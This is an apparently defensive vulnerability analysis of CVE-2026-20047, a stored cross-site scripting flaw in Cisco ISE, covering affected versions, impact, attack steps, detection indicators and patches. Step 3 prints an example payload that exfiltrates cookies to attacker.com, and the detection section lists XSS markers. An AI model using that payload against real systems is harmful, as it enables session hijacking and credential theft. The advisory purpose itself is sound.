CVE-2026-20047: 
Cisco ISE vulnerability analysis and mitigation

CVE-2026-20047 is a stored cross-site scripting (XSS) vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC). It was discovered during internal Cisco security testing and publicly disclosed on January 15, 2026. Affected versions include Cisco ISE/ISE-PIC releases earlier than 3.2 (all versions), 3.2.x through 3.2 Patch 7, 3.3.x through 3.3 Patch 7, and 3.4.x through 3.4 Patch 3; ISE 3.5 is not affected. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium), assigned by Cisco (Cisco Advisory).

The vulnerability is classified as CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page — Basic XSS), rooted in insufficient validation of user-supplied input within specific pages of the ISE web-based management interface. An authenticated attacker with valid administrative credentials can inject malicious script code into these pages, which is then rendered and executed in the browser of another user who visits the affected interface. The attack vector is network-based, requires high privileges (administrative credentials) and user interaction (a victim must view the injected content), and the scope is changed — meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Cisco Advisory, Feedly).

Successful exploitation allows the attacker to execute arbitrary script code in the context of the affected management interface, potentially enabling session hijacking, credential theft, or unauthorized actions performed on behalf of the victim administrator. The vulnerability impacts both confidentiality (access to sensitive browser-based information such as session tokens or credentials) and integrity (ability to perform actions within the ISE interface as the victim). Availability is not impacted, and there is no direct path to remote code execution or lateral movement beyond the browser context (Cisco Advisory).

1. Obtain Administrative Credentials: The attacker must first acquire valid administrative credentials for the Cisco ISE or ISE-PIC web-based management interface, either through phishing, credential reuse, or insider access.
2. Identify Vulnerable Input Fields: Log into the ISE management interface and navigate to specific pages known to reflect or store user-supplied input without adequate sanitization (exact pages are not publicly specified by Cisco).
3. Inject Malicious Script: Insert a crafted XSS payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field within the management interface.
4. Trigger Victim Interaction: Wait for or socially engineer another administrator or privileged user to visit the page containing the injected payload.
5. Harvest Results: The victim's browser executes the injected script, potentially exfiltrating session cookies, authentication tokens, or other sensitive browser-based information to an attacker-controlled server (Cisco Advisory).

• Logs: ISE management interface access logs showing unusual or unexpected input containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in form fields or URL parameters submitted by administrative accounts.
• Network: Outbound HTTP/HTTPS requests from administrator browsers to unexpected external domains shortly after accessing ISE management pages, potentially indicating cookie or credential exfiltration.
• Logs: Multiple administrative logins from different IP addresses or geographic locations in a short timeframe, which may indicate session token theft and reuse following a successful XSS attack.
• Browser/Application: Unexpected redirects or pop-ups experienced by administrators while using the ISE management interface.

Cisco has released fixed software versions to address this vulnerability: ISE/ISE-PIC 3.2 Patch 8, 3.3 Patch 8, and 3.4 Patch 4. Versions earlier than 3.2 should migrate to a fixed release. Cisco explicitly states there are no workarounds available for this vulnerability. As an interim risk-reduction measure, organizations should restrict administrative access to the ISE management interface to trusted internal networks only, implement network segmentation, and ensure only authorized personnel hold administrative credentials (Cisco Advisory).

Cisco PSIRT disclosed this vulnerability as part of a routine advisory publication, noting it was found during internal security testing with no known public exploitation. No notable independent researcher commentary, social media discussion, or significant media coverage has been identified for this medium-severity vulnerability. The low CVSS score and high privilege requirement for exploitation have limited broader community attention (Cisco Advisory).